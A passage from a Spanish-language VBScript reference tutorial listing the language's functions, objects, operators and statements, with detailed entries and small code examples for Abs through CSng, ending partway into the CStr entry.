TypeName (Función) Devuelve una cadena que proporciona información acerca del subtipo Variant de una variable.

UBound (Función) Devuelve el mayor subíndice disponible para la dimensión indicada en una matriz.

UCase (Función) Devuelve una cadena convertida a mayúsculas.

Value (Propiedad) Devuelve el valor o texto de una coincidencia encontrada en una cadena de búsqueda.

VarType (Constantes) Lista de constantes que definen los subtipos Variant .

VarType (Función) Devuelve un valor que indica el subtipo de una variable.

VBScript (Constantes) Diversas categorías de constantes proporcionadas en VBScript.

Weekday (Función) Devuelve un número entero que representa el día de la semana.

WeekdayName (Función) Devuelve una cadena que indica el día de la semana especificado.

While...Wend (Instrucción) Ejecuta una serie de instrucciones mientras una condición dada sea True.

With (Instrucción) Ejecuta una serie de instrucciones en un único objeto.

Xor (Operador) Realiza una exclusión lógica en dos expresiones.

Year (Función) Devuelve un número entero que representa el año.

Color (Constantes) Lista de constantes de colores.

Comparación (Constantes) Lista de constantes utilizadas en operaciones de comparación.

Fecha y hora (Constantes) Lista de constantes que definen días de la semana y otras constantes utilizadas en las operaciones de fecha y hora.

Date Format (Constantes) Lista de constantes utilizadas para dar formato a fechas y horas.

Diversas (Constantes) Lista de constantes que no corresponden a ninguna otra categoría.

MsgBox (Constantes) Lista de constantes utilizadas con la función MsgBox.

Cadena (Constantes) Lista de constantes de cadena.

Triple estado (Constantes) Utilícelas en cualquier parte de su código para representar los valores mostrados para cada una.

VarType (Constantes) Lista de constantes que definen subtipos Variant .

VBScript (Constantes) Diversas categorías de constantes proporcionadas en VBScript.

Initialize (Evento) Ocurre cuando se crea una instancia de la clase asociada.

Terminate (Evento) Ocurre cuando se termina una instancia de la clase asociada.

Page 9: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 9

Abs (Función) Devuelve el valor absoluto de un número.

Array (Función) Devuelve una Variant que cotiene una matriz.

Asc (Función) Devuelve el código de caracteres ANSI que corresponde a la primera letra de una cadena.

Atn (Función) Devuelve el arcotangente de un número.

CBool (Función) Devuelve una expresión convertida a una Variant del subtipo Boolean.

CByte (Función) Devuelve una expresión convertida a una Variant del subtipo Byte.

CCur (Función) Devuelve una expresión convertida a una Variant del subtipo Currency.

CDate (Función) Devuelve una expresión convertida a una Variant del subtipo Date.

CDbl (Función) Devuelve una expresión convertida a una Variant del subtipo Double.

Chr (Función) Devuelve el caracter asociado con el código de caracteres ANSI especificado.

CInt (Función) Devuelve una expresión convertida a una Variant del subtipo Integer.

CLng (Función) Devuelve una expresión convertida a una Variant del subtipo Long.

Cos (Función) Devuelve el coseno de un ángulo.

CreateObject (Función) Crea y devuelve una referencia a un objeto de Automatización.

CSng (Función) Devuelve una expresión convertida a una Variant del subtipo Single.

CStr (Función) Devuelve una expresión convertida a una Variant del subtipo String.

Date (Función) Devuelve la fecha del sistema actual.

DateAdd (Función) Devuelve una fecha a la que se agregó un intervalo de tiempo especificado.

DateDiff (Función) Devuelve el número de intervalos entre dos fechas.

DatePart (Función) Devuelve la parte especificada de una fecha dada.

DateSerial (Función) Devuelve una Variant del subtipo Date para un año, mes y día especificados.

DateValue (Función) Devuelve una Variant del subtipo Date.

Day (Función) Devuelve un número entero entre 1 y 31, ambos inclusive, que representa el día del mes.

Eval (Función) Evalúa una expresión y devuelve el resultado.

Exp (Función) Devuelve e (la base de los logaritmos naturales) elevado a una potencia.

Filter (Función) Devuelve una matriz con base cero que contiene un subconjunto de una matriz de cadenas basado en un criterio de filtro especificado.

Fix (Función) Devuelve la parte entera de un número.

FormatCurrency (Función) Devuelve una expresión con formato de moneda utilizando el símbolo de moneda definido en el Panel de control del sistema.

FormatDateTime (Función) Devuelve una expresión con formato de fecha u hora.

FormatNumber (Función) Devuelve una expresión con formato de número.

FormatPercent (Función) Devuelve una expresión con formato de porcentaje (multiplicado por 100) con un caracter % final.

GetObject (Función) Devuelve una referencia a un objeto de Automatización de un archivo.

GetRef (Función) Devuelve una referencia a un procedimiento que se puede enlazar a un evento.

Hex (Función) Devuelve una cadena que representa el valor hexadecimal de un número.

Hour (Función) Devuelve un número entero entre 0 y 23, ambos inclusive, que representa la hora del día.

InputBox (Función) Muestra un aviso en un cuadro de diálogo, espera a que el usuario escriba texto o haga clic en un botón y devuelve el contenido del cuadro de texto.

InStr (Función) Devuelve la posición del primer caso de una cadena dentro de otra.

InStrRev (Función) Devuelve la posición de la aparición de una cadena dentro de otra, desde el final de la cadena.

Int (Función) Devuelve la parte entera de un número.

IsArray (Función) Devuelve un valor Boolean que indica si una variable es una matriz.

IsDate (Función) Devuelve un valor Boolean que indica si una expresión se puede convertir a una fecha.

IsEmpty (Función) Devuelve un valor Boolean que indica si se inicializó una variable.

Page 10: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 10

IsNull (Función) Devuelve un valor Boolean que indica si una expresión no contiene datos válidos (Null ).

IsNumeric (Función) Devuelve un valor Boolean que indica si se puede evaluar una expresión como un número.

IsObject (Función) Devuelve un valor Boolean que indica si una expresión hace referencia a un objeto de Automatización válido.

Join (Función) Devuelve una cadena creada uniendo varias subcadenas contenidas en una matriz.

LBound (Función) Devuelve el subíndice más pequeño disponible para la dimensión indicada de una matriz.

LCase (Función) Devuelve una cadena convertida a minúsculas.

Left (Función) Devuelve un número especificado de caracteres del lado izquierdo de una cadena.

Len (Función) Devuelve el número de caracteres en una cadena o el número de bytes necesarios para almacenar una variable.

LoadPicture (Función) Devuelve un objeto de imagen. Sólo disponible en plataformas de 32 bits.

Log (Función) Devuelve el logaritmo natural de un número.

LTrim (Función) Devuelve una copia de una cadena sin espacios iniciales.

Mid (Función) Devuelve un número especificado de caracteres de una cadena.

Minute (Función) Devuelve un número entero entre 0 y 59, ambos inclusive, que representa el minuto de la hora.

Month (Función) Devuelve un número entero entre 1 y 12, ambos inclusive, que representa el mes del año.

MonthName (Función) Devuelve una cadena que indica el mes especificado.

MsgBox (Función) Muestra un mensaje en un cuadro de diálogo, espera a que el usuario escriba texto o haga clic en un botón y devuelve un valor que indica el botón en el que hizo clic el usuario.

Now (Función) Devuelve la fecha y hora actual según los valores de fecha y hora de sistema del equipo.

Oct (Función) Devuelve una cadena que representa el valor octal de un número.

Replace (Función) Devuelve una cadena en la que se reemplazó una subcadena especificada con otra subcadena un número especificado de veces.

RGB (Función) Devuelve un número entero que representa un valor de color RGB.

Right (Función) Devuelve un número de caracteres especificado del lado derecho de una cadena.

Rnd (Función) Devuelve un número aleatorio.

Round (Función) Devuelve un número redondeado a un número especificado de lugares decimales.

RTrim (Función) Devuelve una copia de una cadena sin espacios finales.

ScriptEngine (Función) Devuelve una cadena que representa el lenguaje de secuencias de comandos en uso.

ScriptEngineBuildVersion (Función) Devuelve el número de versión de la compilación del motor de secuencias de comandos en uso.

ScriptEngineMajorVersion (Función) Devuelve el número de la versión principal del motor de secuencias de comandos en uso.

ScriptEngineMinorVersion (Función) Devuelve el número de la versión secundaria del motor de secuencias de comandos en uso.

Second (Función) Devuelve un número entero entre 0 y 59, ambos inclusive, que representa el segundo de un minuto.

Sgn (Función) Devuelve un número entero que indica el signo de un número.

Sin (Función) Devuelve el seno de un ángulo.

Space (Función) Devuelve una cadena compuesta por el número especificado de espacios.

Split (Función) Devuelve una matriz unidimensional con base cero que contiene un número especificado de subcadenas.

Sqr (Función) Devuelve la raíz cuadrada de un número.

StrComp (Función) Devuelve un valor que indica el resultado de una comparación de cadenas.

String (Función) Devuelve una cadena de caracteres repetidos de la longitud especificada.

StrReverse (Función) Devuelve una cadena en la que se invirtió el orden de los caracteres de una cadena especificada.

Tan (Función) Devuelve la tangente de un ángulo.

Time (Función) Devuelve una Variant del subtipo Date que indica la hora actual del sistema.

Page 11: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 11

Timer (Función) Devuelve el número de segundos que transcurrieron desde las 12:00 a.m. (medianoche).

TimeSerial (Función) Devuelve una Variant del subtipo Date que contiene la hora para una hora, minuto y segundo específicos.

TimeValue (Función) Devuelve una Variant del subtipo Date que contiene la hora.

Trim (Función) Devuelve una copia de una cadena sin espacios iniciales o finales.

TypeName (Función) Devuelve una cadena que proporciona información de subtipos Variant acerca de una variable.

UBound (Función) Devuelve el mayor subíndice disponible para la dimensión indicada de una matriz.

UCase (Función) Devuelve una cadena convertida a mayúsculas.

VarType (Función) Devuelve un valor que indica el subtipo de una variable.

Weekday (Función) Devuelve un número entero que representa el día de la semana.

WeekdayName (Función) Devuelve una cadena que indica el día de la semana especificado.

Year (Función) Devuelve un número entero que representa el año.

Clear (Método) Borra todos los valores de propiedad del objeto Err .

Execute (Método) Ejecuta una búsqueda de expresión regular en una cadena especificada.

Raise (Método) Genera un error en tiempo de ejecución.

Replace (Método) Reemplaza el texto encontrado en una búsqueda de expresión regular.

Test (Método) Ejecuta una búsqueda de expresión regular en una cadena especificada.

Class (Objeto) Proporciona acceso a los eventos de una clase creada.

Dictionary (Objeto) Objeto que almacena pares de elemento y clave de datos.

Err (Objeto) Contiene la información acerca de los errores en tiempo de ejecución.

FileSystemObject (Objeto) Proporciona acceso al sistema de archivos de un equipo.

Match (Objeto) Proporciona acceso a las propiedades de sólo lectura de una coincidencia de expresión regular.

Matches (Colección) Colección de objetos Match de expresión regular.

RegExp (Objeto) Proporciona compatibilidad con expresiones regulares simples.

Suma (+) (Operador) Suma dos números.

And (Operador) Realiza una conjunción lógica de dos expresiones.

Asignación (=)(Operador) Asigna un valor a una variable o propiedad.

Concatenación (&)(Operador) Fuerza la concatenación de cadenas de dos expresiones.

División (/) (Operador) Divide dos números y devuelve un resultado de punto flotante.

Eqv (Operador) Realiza una equivalencia lógica de dos expresiones.

Exponenciación (^) (Operador) Eleva un número a la potencia de un exponente.

Imp (Operador) Realiza una implicación lógica de dos expresiones.

División entera (\) (Operador) Divide dos números y devuelve un resultado entero.

Is (Operador) Compara las variables de referencia de dos objetos.

Mod (Operador) Divide dos números y devuelve sólo el resto.

Multiplicación (*) (Operador) Multiplica dos números.

Negación (-)(Operador) Indica el valor negativo de una expresión numérica.

Not (Operador) Realiza la negación lógica de una expresión.

Precedencia de operadores Lista que muestra el orden de precedencia para diversos operadores utilizados en VBScript.

Or (Operador) Realiza una disyunción lógica de dos expresiones.

Resta (-)(Operador) Encuentra la diferencia entre dos números o indica el valor negativo de una expresión

Page 12: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 12

numérica.

Xor (Operador) Realiza una exclusión lógica de dos expresiones.

Description (Propiedad) Devuelve o establece una cadena descriptiva asociada con un error.

FirstIndex (Propiedad) Devuelve la posición en una cadena de búsqueda donde ocurre una coincidencia.

Global (Propiedad) Establece o devuelve un valor booleano.

HelpContext (Propiedad) Establece o devuelve un Id. de contexto para un tema en un archivo de Ayuda.

HelpFile (Propiedad) Establece o devuelve una ruta completa a un archivo de Ayuda

IgnoreCase (Propiedad) Establece o devuelve un valor booleano que indica si una búsqueda de patrón distingue las mayúsculas de las minúsculas.

Length (Propiedad) Devuelve la longitud de una coincidencia encontrada en una cadena de búsqueda.

Number (Propiedad) Devuelve o establece un valor numérico que especifica un error.

Pattern (Propiedad) Establece o devuelve el patrón de expresión regular que se busca.

Source (Propiedad) Devuelve o establece el nombre del objeto o aplicación que generó originalmente el error.

Value (Propiedad) Devuelve el valor o texto de una coincidencia encontrada en una cadena de búsqueda.

Call (Instrucción) Traspasa el control a un procedimiento Sub o Function.

Class (Instrucción) Declara el nombre de una clase.

Const (Instrucción) Declara constantes para utilizar en lugar de los valores literales.

Dim (Instrucción) Declara variables y asigna espacio de almacenamiento.

Do...Loop (Instrucción) Repite un bloque de instrucciones mientras una condición sea True o hasta que una condición se vuelva True.

Erase (Instrucción) Vuelve a inicializar los elementos de matrices de tamaño fijo y anula la asignación del espacio de almacenamiento de la matriz dinámica.

Execute (Instrucción) Ejecuta una o más instrucciones especificadas.

Exit (Instrucción) Sale de un bloque de código Do...Loop, For...Next, Function o Sub.

For...Next (Instrucción) Repite un grupo de instrucciones un número de veces especificado.

For Each...Next (Instrucción) Repite un grupo de instrucciones para cada elemento en una matriz o colección.

Function (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Function.

If...Then...Else (Instrucción) Ejecuta de forma condicional un grupo de instrucciones, según el valor de una expresión.

On Error (Instrucción) Habilita el control de errores.

Option Explicit (Instrucción) Fuerza la declaración explicita de todas las variables en una secuencia de comandos.

Private (Instrucción) Declara las variables privadas y asigna el espacio de almacenamiento.

PropertyGet (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Property que obtiene (devuelve) el valor de una propiedad.

PropertyLet (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Property que asigna el valor de una propiedad.

PropertySet (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Property que establece una referencia a un objeto.

Public (Instrucción) Declara variables públicas y asigna espacio de almacenamiento.

Randomize (Instrucción) Inicializa el generador de números aleatorios.

ReDim (Instrucción) Declara variables de matriz dinámica y asigna o vuelve a asignar espacio de almacenamiento en el nivel de procedimiento.

Rem (Instrucción) Incluye observaciones explicatorias en un programa.

Select Case (Instrucción) Ejecuta uno de entre varios grupos de instrucciones, según el valor de una expresión.

Set (Instrucción) Asigna una referencia de objeto a una variable o propiedad.

Sub (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Sub.

Page 13: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 13

While...Wend (Instrucción) Ejecuta una serie de instrucciones mientras una condición dada sea True.

With (Instrucción) Ejecuta una serie de instrucciones en un objeto único.

FUNCIONESFUNCIONESFUNCIONESFUNCIONES

Función Abs

Descripción

Devuelve el valor absoluto de un número.

Sintaxis

Abs(número)

El argumento número puede ser cualquier expresión numérica válida. Si número contiene Null, se devuelve Null ; si es un valor no iniciado, se devuelve cero.

Comentarios

El valor absoluto de un número es su magnitud sin signo. Por ejemplo, Abs(-1) y Abs(1) devuelven 1.

El siguiente ejemplo usa la función Abs para compute the absolute value of a number:

Dim MiNumero MiNumero = Abs(50.3) ' Devuelve 50.3. MiNumero = Abs(-50.3) ' Devuelve 50.3.

Función Array

Descripción

Devuelve un objeto Variant que contiene una matriz.

Sintaxis

Array(listadeargumentos)

El argumento requerido listadeargumentos es una lista de valores separados por comas, que se asignan a los elementos de una matriz contenida en el objeto Variant. Si no se especifica ningún argumento, se crea una matriz de longitud cero.

Comentarios

La notación usada para hacer referencia a un elemento de una matriz, consta del nombre de la variable seguido de paréntesis que contienen un número de índice que indica el elemento deseado. En el siguiente ejemplo, la primera instrucción crea una variable llamada A. La segunda instrucción asigna una matriz a la variable A. La última instrucción asigna el valor contenido en la segunda matriz a otra variable. Dim A A = Array(10,20,30)

Page 14: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 14

B = A(2) ' B es ahora 30. Nota Una variable que no está declarada como matriz puede contener una matriz. Aunque una variable Variant que contiene una matriz es, conceptualmente, diferente a una variable de matriz que contiene elementos Variant, el acceso a los elementos de la matriz es igual.

Función AscFunción AscFunción AscFunción Asc

Descripción

Devuelve el código de carácter ANSI que corresponde a la primera letra de una cadena.

Sintaxis

Asc(cadena)

El argumento cadena es cualquier expresión de cadena válida. Si cadena no contiene ningún carácter, se produce un error en tiempo de ejecución.

Comentarios

En el ejemplo siguiente, Asc devuelve el código de carácter ANSI de la primera letra de cada cadena: Dim MiNumero MiNumero = Asc("A") ' Devuelve 65. MiNumero = Asc("a") ' Devuelve 97. MiNumero = Asc("Azúcar") ' Devuelve 65. Nota La función AscB se usa con los datos de bytes contenidos en una cadena. En lugar de devolver el código de carácter para el primer carácter, AscB devuelve el primer byte. AscW se proporciona para plataformas de 32 bits que usan caracteres Unicode. Esta función devuelve el código de carácter Unicode, evitando así la conversión de Unicode a ANSI.

Función AtnFunción AtnFunción AtnFunción Atn

Descripción

Devuelve el arcotangente de un número.

Sintaxis

Atn(número)

El argumento número puede ser cualquier expresión numérica válida.

Comentarios

La función Atn recibe el radio de dos lados de un triángulo recto (número) y devuelve el ángulo correspondiente en radianes. El radio es la longitud del lado opuesto al ángulo, dividido por la longitud del lado adyacente al ángulo. El intervalo del resultado varía entre -pi/2 y pi/2 radianes.

Para convertir grados en radianes, multiplique los grados por pi/180. Para convertir radianes en grados, multiplique los radianes por 180/pi.

El siguiente ejemplo usa Atn para calcular el valor de pi:

Dim pi pi = 4 * Atn(1) ' Calcula el valor de pi.

Page 15: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 15

Nota Atn es la función trigonométrica inversa de Tan, que recibe un ángulo como argumento y devuelve el radio (proporción) de dos lados de un triángulo recto. No confunda Atn con la cotangente, que es el inverso simple de una tangente (1/tangente).

Función CBoolFunción CBoolFunción CBoolFunción CBool

Descripción

Devuelve una expresión convertida en Variant de subtipo Boolean.

Sintaxis

CBool(expresión)

El argumento expresión es cualquier expresión válida.

Comentarios

Si expresión es cero, se devuelve False; de lo contrario, se devuelve True. Si expresiónno se puede interpretar como valor numérico, se produce un error en tiempo de ejecución.

El siguiente ejemplo usa la función CBool para convertir una expresión en Boolean. Si la expresión se evalúa como un valor distinto de cero, CBool devuelve True; de lo contrario, devuelve False.

Dim A, B, Comprobacion A = 5: B = 5 ' Inicia variables. Comprobacion = CBool(A = B) ' Comprobacion contiene True. A = 0 ' Define la variable. Comprobacion = CBool(A) ' Comprobacion contiene False.

Función CByteFunción CByteFunción CByteFunción CByte

Descripción

Devuelve una expresión que se convirtió en Variant de subtipo Byte.

Sintaxis

CByte(expresión)

El argumento expresión es cualquier expresión válida.

Comentarios

En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debe expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CByte para forzar aritmética de tipo byte en casos en los que normalmente se usaría aritmética de moneda, precisión simple, precisión doble o entero.

Use la función CByte para proporcionar conversiones que se adapten a los formatos internacionales desde cualquier tipo de datos al subtipo Byte. Por ejemplo, distintos separadores decimales se reconocen correctamente según la configuración regional de su sistema, al igual que los distintos separadores de unidades de mil.

Page 16: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 16

Si expresión está fuera del intervalo aceptable para el subtipo Byte, se produce un error. El siguiente ejemplo usa la función CByte para convertir una expresión en byte:

Dim MiDoble, MiByte MiDoble = 125.5678 ' MiDoble es un Double. MiByte = CByte(MiDoble) ' MiByte contiene 126.

Función CCurFunción CCurFunción CCurFunción CCur

Descripción

Devuelve una expresión que se convirtió en Variant de subtipo Currency.

Sintaxis

CCur(expresión)

El argumento expresión es cualquier expresión válida.

Comentarios

En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debe expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CCur para forzar aritmética de moneda en casos en los que normalmente se usaría aritmética entera.

Debe usar la función CCur para proporcionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Currency. Por ejemplo, distintos separadores de decimales o de miles se reconocen correctamente según la configuración regional de su sistema.

El siguiente ejemplo usa la función CCur para convertir una expresión en tipo de datos Currency:

Dim MiDoble, MiMoneda MiDoble = 543.214588 ' MiDoble es de tipo Double. MiMoneda = CCur(MiDoble * 2) ' Convierte el resultado de MiDoble * 2 (1086.429176) ' en tipo de datos Currency (1086.4292).

Función CDateFunción CDateFunción CDateFunción CDate

Descripción

Devuelve una expresión que se convirtió en Variant del subtipo Date.

Sintaxis

CDate(fecha)

El argumento fecha es cualquier expresión de fecha válida.

Comentarios

Use la función IsDate para determinar si se puede convertir fecha en una fecha u hora. CDate reconoce literales de fecha y literales de hora, así como algunos números que se encuentran dentro del rango de fechas aceptable. Al convertir un número a fecha, la parte entera del número se convierte en una fecha. Cualquier parte fraccionaria del número se convierte en una hora del día, a partir de medianoche.

Page 17: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 17

CDate reconoce los formatos de fecha según la configuración regional del sistema. No se puede determinar el orden correcto de día, mes y año si éstos se proporcionan en un formato que no coincida con los valores de configuración reconocidos. Además, no se reconoce un formato de fecha largo si también contiene la cadena día-de-la-semana.

En el siguiente ejemplo se usa la función CDate para convertir una cadena en una fecha. En general, no se recomienda establecer fechas y horas como cadenas mediante programación (como se muestra en este ejemplo). En su lugar, use literales de fecha y hora, como #10/19/1962# o #4:45:23 PM#.

MiFecha = "19 de octubre de 1962" ' Define la fecha. MiHoraCorta = CDate(MiFecha) ' Convierte al tipo de datos Date. MiHoraCompleta = "4:35:47 PM" ' Define la hora completa. MiHoraCorta = CDate(MiHoraCompleta) ' Convierte al tipo de datos Date.

Función CDblFunción CDblFunción CDblFunción CDbl

Descripción

Devuelve una expresión que se convirtió en Variant de subtipo Double.

Sintaxis

CDbl(expresión)

El argumento expresión es cualquier expresión válida.

Comentarios

En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debe expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CDbl o CSng para forzar aritmética de doble precisión o simple precisión en casos en los que normalmente se usaría aritmética de moneda o de entero.

Use la función CDbl para proporcionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Double. Por ejemplo, distintos separadores de decimales y de miles se reconocen correctamente según la configuración regional de su sistema.

Este ejemplo usa la función CDbl para convertir una expresión en Double.

Dim MiMoneda, MiDoble MiMoneda = CCur(234.456784) ' MiMoneda es de tipo Currency(234.4567). MiDoble = CDbl(MiMoneda * 8.2 * 0.01) ' Convierte el resultado en Double(19.2254576).

Función ChrFunción ChrFunción ChrFunción Chr

Descripción

Devuelve el carácter asociado al código de carácter ANSI especificado.

Sintaxis

Chr(códigodecarácter)

El argumento códigodecarácter es un número que identifica un carácter.

Comentarios

Page 18: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 18

Los números entre 0 y 31 son iguales a los códigos ASCII estándar, no imprimibles. Por ejemplo, Chr(10) devuelve un carácter de avance de línea.

El siguiente ejemplo usa la función Chr para devolver el carácter asociado al código de carácter especificado:

Dim MiCaracter MiCaracter = Chr(65) ' Devuelve A. MiCaracter = Chr(97) ' Devuelve a. MiCaracter = Chr(62) ' Devuelve >. MiCaracter = Chr(37) ' Devuelve %. Nota La función ChrB se usa con los datos de byte contenidos en una cadena. En lugar de devolver un carácter, que puede ser de uno o dos bytes, ChrB siempre devuelve un byte simple. ChrW se proporciona para plataformas de 32 bits que usan caracteres Unicode. Su argumento es un código de carácter Unicode, que evita que la conversión des ANSI a Unicode.

Función CIntFunción CIntFunción CIntFunción CInt

Descripción

Devuelve una expresión que se convirtió enVariant del subtipo Integer.

Sintaxis

CInt(expresión)

El argumento expresión es cualquier expresión válida.

Comentarios

En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debería expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CInt o CLng para forzar aritmética de enteros en casos en los que normalmente se usaría aritmética de moneda, precisión simple o precisión doble.

Use la función CInt para proporcionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Integer. Por ejemplo, distintos separadores de decimales y de miles se reconocen correctamente según la configuración regional de su sistema.

Si expresión está fuera del intervalo aceptable para el subtipo Integer, se produce un error.

El siguiente ejemplo usa la función CInt para convert a value to an Integer:

Dim MiDoble, MiEntero MiDoble = 2345.5678 ' MiDoble es de tipo Double. MiEntero = CInt(MiDoble) ' MiEntero contiene 2346. Nota CInt es distinta a las funciones Fix y de Int, que truncan, en lugar de redondear, la parte fraccionaria de un número. Cuando la parte fraccionaria es exactamente igual a 0,5, la función CInt siempre redondea el número al siguiente número par. Por ejemplo, 0,5 se redondea a 0 y 1,5 se redondea a 2.

Función CLngFunción CLngFunción CLngFunción CLng

Descripción

Devuelve una expresión que se convirtió en Variant del subtipo Long.

Page 19: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 19

Sintaxis

CLng(expresión)

El argumento expresión es cualquier expresión válida.

Comentarios

En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debería expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CInt o CLng para forzar aritmética de enteros en casos en los que, normalmente, se usaría aritmética de precisión simple o precisión doble.

Use la función CLng para proporcionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Long. Por ejemplo, distintos separadores decimales o de miles se reconoce correctamente según la configuración regional de su sistema.

Si expresión está fuera del intervalo aceptable para el subtipo Long, se produce un error.

El siguiente ejemplo usa la función CLng para convertir un valor en Long:

Dim MiVal1, MiVal2, MiLong1, MiLong2 MiVal1 = 25427.45: MiVal2 = 25427.55 ' MiVal1, MiVal2 son de tipo Double. MiLong1 = CLng(MiVal1) ' MiLong1 contiene 25427. MiLong2 = CLng(MiVal2) ' MiLong2 contiene 25428. Nota CInt es distinta a las funciones Fix y de Int, que truncan, en lugar de redondear, la parte fraccionaria de un número. Cuando la parte fraccionaria es exactamente igual a 0,5, la función CInt siempre redondea el número al siguiente número par. Por ejemplo, 0,5 se redondea a 0 y 1,5 se redondea a 2.

Función CosFunción CosFunción CosFunción Cos

Descripción

Devuelve el coseno de un ángulo.

Sintaxis

Cos(número)

El argumento número puede ser cualquier expresión numérica válida que expresa un ángulo en radianes.

Comentarios

La función Cos recibe un ángulo y devuelve el radio de dos lados de un triángulo rectángulo. El radio es la longitud del lado adyacente al ángulo dividido por la longitud de la hipotenusa. El resultado varía entre -1 y 1.

Para convertir grados en radianes, multiplique los grados por pi/180. Para convertir radianes en grados, multiplique los radianes por 180/pi.

El siguiente ejemplo usa la función Cos para devolver el coseno de un ángulo:

Dim MiAngulo, MiSecante MiAngulo = 1.3 ' Define el ángulo en radianes. MiSecante = 1 / Cos(MiAngulo) ' Calcula la secante.

Page 20: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 20

Función CreateObjectFunción CreateObjectFunción CreateObjectFunción CreateObject

Descripción

Crea y devuelve una referencia a un objeto de Automatización.

Sintaxis

CreateObject(nombreServidor.nombreTipo [, ubicación])

La sintaxis de la función CreateObject tiene las siguientes partes:

Parte Descripción

nombreServidor Necesario. El nombre de la aplicación que proporciona el objeto.

nombreTipo Necesario. El tipo o clase del objeto que se va a crear.

ubicación Opcional. El nombre del servidor de red donde se va a crear el objeto.

Comentarios

Los servidores de automatización proporcionan, al menos, un tipo de objeto. Por ejemplo, una aplicación de proceso de textos puede proporcionar un objeto Application, un objeto Document y un objeto Toolbar.

Para crear un objeto de automatización, asigne el objeto devuelto por CreateObject a una variable de objeto:

Dim HojaExcel Set HojaExcel = CreateObject("Excel.Sheet") Este código inicia la aplicación que crea el objeto (en este caso, una hoja de cálculo de Microsoft Excel). Una vez creado un objeto, se hace referencia al mismo en el código mediante el uso de la variable de objeto que definió. Como se muestra en el siguiente ejemplo, se puede tener acceso a las propiedades y métodos del nuevo objeto mediante la variable de objeto, ExcelSheet y otros objetos de Excel, incluido el objeto Application y la colección ActiveSheet.Cells. ' Hace visible Excel mediante el objeto Application. HojaExcel.Application.Visible = True ' Coloca algún texto en la primera celda de la hoja. HojaExcel.ActiveSheet.Cells(1,1).Value = "Esta es la columna A, fila 1" ' Guarda la hoja. HojaExcel.SaveAs "C:\DOCS\PRUEBA.XLS" ' Cierra Excel con el método Quit del objeto Application. HojaExcel.Application.Quit ' Libera la variable de objeto. Set HojaExcel = Nothing Sólo se puede crear un objeto en un servidor remoto cuando la seguridad de Internet está desactivada. Puede crear un objeto en un equipo en red remoto pasando el nombre del equipo al argumento nombreServidor de CreateObject. Ese nombre es el mismo que la parte de nombre del equipo de un nombre de recurso compartido. Para un recurso compartido en red llamado "\\miservidor\publico", el nombreServidor es "miservidor". Además, puede especificar nombreServidor utilizando el formato DNS o una dirección IP.

El código siguiente devuelve el número de la versión de una instancia de Excel que se ejecuta en un equipo de red remoto llamado "miservidor":

Function GetVersion Dim XLApp Set XLApp = CreateObject("Excel.Application", "MiServidor") GetVersion = XLApp.Version End Function

Page 21: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 21

Ocurre un error si el servidor remoto especificado no existe o no se puede encontrar.

Función CSngFunción CSngFunción CSngFunción CSng

Descripción

Devuelve una expresión que se convirtió en Variant del subtipo Single.

Sintaxis

CSng(expresión)

El argumento expresión es cualquier expresión válida.

Comentarios

En general, puede documentar su código con las funciones de conversión de tipos de datos para mostrar que el resultado de algunas operaciones se debería expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CDbl o CSng para forzar aritmética de precisión doble o precisión simple en casos en los que, normalmente, se usaría aritmética de moneda o de enteros.

Use la función CSng para propocionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Single. Por ejemplo, distintos separadores decimales o de miles se reconocen correctamente según la configuración local de su sistema.

Si expresión está fuera del intervalo aceptable para el subtipo Single, se produce un error.

El siguiente ejemplo usa la función CSng para convertir un valor en Single:

Dim MiDoble1, MiDoble2, MiSimple1, MiSimple2 ' MiDoble1, MiDoble2 son de tipo Double. MiDoble1 = 75.3421115: MiDoble2 = 75.3421555 MiSimple1 = CSng(MiDoble1) ' MiSimple1 contiene 75.34211. MiSimple2 = CSng(MiDoble2) ' MiSimple2 contiene 75.34216.

Función CStrFunción CStrFunción CStrFunción CStr

Descripción

Devuelve una expresión que se convirtió en Variant del subtipo String.

Sintaxis

CStr(expresión)

El argumento expresión es cualquier expresión válida.

Comentarios

